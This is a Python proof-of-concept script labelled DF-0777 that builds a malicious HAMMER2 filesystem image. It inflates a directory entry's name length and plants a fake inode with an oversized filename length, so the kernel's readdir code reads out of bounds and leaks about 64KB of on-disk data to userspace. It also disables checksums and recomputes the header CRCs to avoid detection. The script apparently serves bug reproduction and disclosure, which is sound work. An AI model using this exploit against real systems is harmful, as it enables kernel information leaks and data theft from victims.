DF-0777 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | #!/usr/bin/env python3 """ Craft a corrupted HAMMER2 image for DF-0777. Two corruptions are applied: (A) DIRENT branch (lines 718-731): Find the dirent for a long filename (>64 chars, so it has data_off != 0) and inflate its namlen to 65535. readdir takes the else branch (namlen > sizeof(check.buf)): dname = hammer2_xop_gdata(&xop->head)->buf; // chain data buffer vop_write_dirent(..., namlen=65535, dname) → bcopy(dname, dp->d_name, 65535) reads 65535 bytes from a 1024-byte allocation inside a 64KB dio buffer, leaking ~64KB of adjacent on-disk filesystem content to userspace. (B) INODE branch (lines 702-711): Add a fake INODE-type blockref inside the indirect block (alongside the dirents) with a visible key (bit 63) and name_len=4096. readdir hits the INODE branch: vop_write_dirent(..., ripdata->meta.name_len=4096, ripdata->filename) → bcopy(filename, dp->d_name, 4096) reads 4096 bytes from a 256-byte filename field, leaking ~3840 bytes past it. Sets CHECK_NONE along the blockref path; recomputes volume header CRC-32C. Usage: python3 craft_img.py <input.img> <output.img> """ import struct, sys # ---- CRC-32C (Castagnoli) ---- CRC32C_POLY = 0x82F63B78 _t = None def _build(): global _t _t = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ CRC32C_POLY if (c & 1) else (c >> 1) _t.append(c) def crc32c(data): if _t is None: _build() c = 0xFFFFFFFF for b in data: c = (c >> 8) ^ _t[(c ^ b) & 0xFF] return c ^ 0xFFFFFFFF # ---- constants ---- RADIX_MASK = 0x3F BREF_SZ = 128 EMPTY, INODE, INDIRECT, DATA, DIRENT = 0, 1, 2, 3, 4 VISIBLE = 0x8000000000000000 NAME_LEN_OFF = 0x80 NAME_KEY_OFF = 0x78 FNAME_OFF = 0x100 BLKSET_OFF = 0x200 INODE_BYTES = 1024 # namlen is at offset 8 within embed.dirent_head, which starts at offset 48 in blockref DIRENT_NAMLEN_OFF = 48 + 8 # = 56 def pbr(data, off): b = data[off:off+BREF_SZ] return {'type':b[0], 'methods':b[1], 'keybits':b[3], 'key':struct.unpack_from('<Q', b, 8)[0], 'data_off':struct.unpack_from('<Q', b, 32)[0]} def doff(data_off): return data_off & ~RADIX_MASK def drad(data_off): return data_off & RADIX_MASK def set_none(img, off): old = img[off+1] img[off+1] = old & 0x0F return old def fix_vh_crcs(img): S = 0x1E0 struct.pack_into('<I', img, S+6*4, crc32c(img[512:1024])) struct.pack_into('<I', img, S+7*4, crc32c(img[0:508])) struct.pack_into('<I', img, 0xFFFC, crc32c(img[0:65532])) def main(): inp, outp = sys.argv[1], sys.argv[2] with open(inp, 'rb') as f: img = bytearray(f.read()) print(f"Image: {len(img)} bytes") # Parse volume header assert struct.unpack_from('<Q', img, 0)[0] == 0x48414d3205172011 # SUPROOT sr_off = None for i in range(8): off = 0x200 + i*BREF_SZ b = pbr(img, off) if b['type'] == INODE: sr_off = off; break assert sr_off; sr_data = doff(pbr(img, sr_off)['data_off']) # DATA PFS data_boff = data_ioff = None for i in range(8): off = sr_data + BLKSET_OFF + i*BREF_SZ b = pbr(img, off) if b['type'] == EMPTY: continue co = doff(b['data_off']) fn = img[co+FNAME_OFF:co+FNAME_OFF+32].split(b'\x00')[0] if fn == b'DATA': data_boff = off; data_ioff = co; break assert data_boff; print(f"DATA PFS inode @ 0x{data_ioff:x}") # Find all INDIRECT blocks in DATA's blockset; prefer the one # with VISIBLE key range (contains the dirent entries) indirects = [] for i in range(8): off = data_ioff + BLKSET_OFF + i*BREF_SZ b = pbr(img, off) if b['type'] == INDIRECT: blk = doff(b['data_off']) cnt = (1 << drad(b['data_off'])) // BREF_SZ indirects.append((off, blk, cnt, b['key'])) print(f"INDIRECT[{i}] @ 0x{blk:x} ({cnt} slots) key=0x{b['key']:016x}") # Use the indirect block whose key range includes VISIBLE entries ind_boff = ind_blk = ind_cnt = None for boff, blk, cnt, key in indirects: if key & VISIBLE: ind_boff, ind_blk, ind_cnt = boff, blk, cnt break if ind_boff is None and indirects: ind_boff, ind_blk, ind_cnt = indirects[0][:3] assert ind_boff, "no indirect block found" # Scan indirect block entries dirent_entries = [] free_slot = None for j in range(ind_cnt): off = ind_blk + j*BREF_SZ b = pbr(img, off) if b['type'] == EMPTY: if free_slot is None: free_slot = j elif b['type'] == DIRENT: namlen = struct.unpack_from('<H', img, off + DIRENT_NAMLEN_OFF)[0] dirent_entries.append((j, off, b, namlen)) print(f" dirent[{j}]: key=0x{b['key']:016x} data_off=0x{b['data_off']:016x} namlen={namlen}") # === Corruption A: inflate a long-filename dirent's namlen === target_dirent = None for j, off, b, namlen in dirent_entries: if namlen > 64 and b['data_off'] != 0: target_dirent = (j, off, b, namlen) break if target_dirent: j, off, b, old_nl = target_dirent NEW_NL = 65535 print(f"\n=== Corruption A: dirent[{j}] namlen {old_nl} -> {NEW_NL} ===") struct.pack_into('<H', img, off + DIRENT_NAMLEN_OFF, NEW_NL) else: print("\nNo long-filename dirent with data_off found, skipping corruption A") # === Corruption B: add fake INODE entry in indirect block === if free_slot is not None: max_key = max((e[2]['key'] for e in dirent_entries), default=0) new_key = max_key + 1 if not (new_key & VISIBLE): new_key |= VISIBLE FAKE_OFF = 0x03000000 fake = bytearray(INODE_BYTES) struct.pack_into('<H', fake, NAME_LEN_OFF, 4096) struct.pack_into('<Q', fake, NAME_KEY_OFF, new_key) fake[0x42] = 2 # REGFILE for i in range(256): fake[FNAME_OFF+i] = 0x41 + (i%26) for i in range(512): fake[0x200+i] = 0xDE if i%2==0 else 0xAD img[FAKE_OFF:FAKE_OFF+INODE_BYTES] = fake boff = ind_blk + free_slot*BREF_SZ nb = bytearray(BREF_SZ) nb[0] = INODE; nb[1] = 0x00; nb[3] = 0 struct.pack_into('<Q', nb, 8, new_key) struct.pack_into('<Q', nb, 32, FAKE_OFF | 10) img[boff:boff+BREF_SZ] = nb print(f"=== Corruption B: fake INODE @ indirect[{free_slot}] key=0x{new_key:016x} ===") else: print("No free slot for corruption B") # === Set CHECK_NONE on all blockrefs in the path === set_none(img, sr_off) set_none(img, data_boff) set_none(img, ind_boff) for i in range(8): off = data_ioff + BLKSET_OFF + i*BREF_SZ b = pbr(img, off) if b['type'] != EMPTY: set_none(img, off) for j in range(ind_cnt): off = ind_blk + j*BREF_SZ b = pbr(img, off) if b['type'] != EMPTY: set_none(img, off) print("CHECK_NONE set on all path blockrefs") # === Fix volume header CRCs === fix_vh_crcs(img) print("Volume header CRCs recomputed") with open(outp, 'wb') as f: f.write(img) print(f"Written to {outp}") if __name__ == '__main__': main() |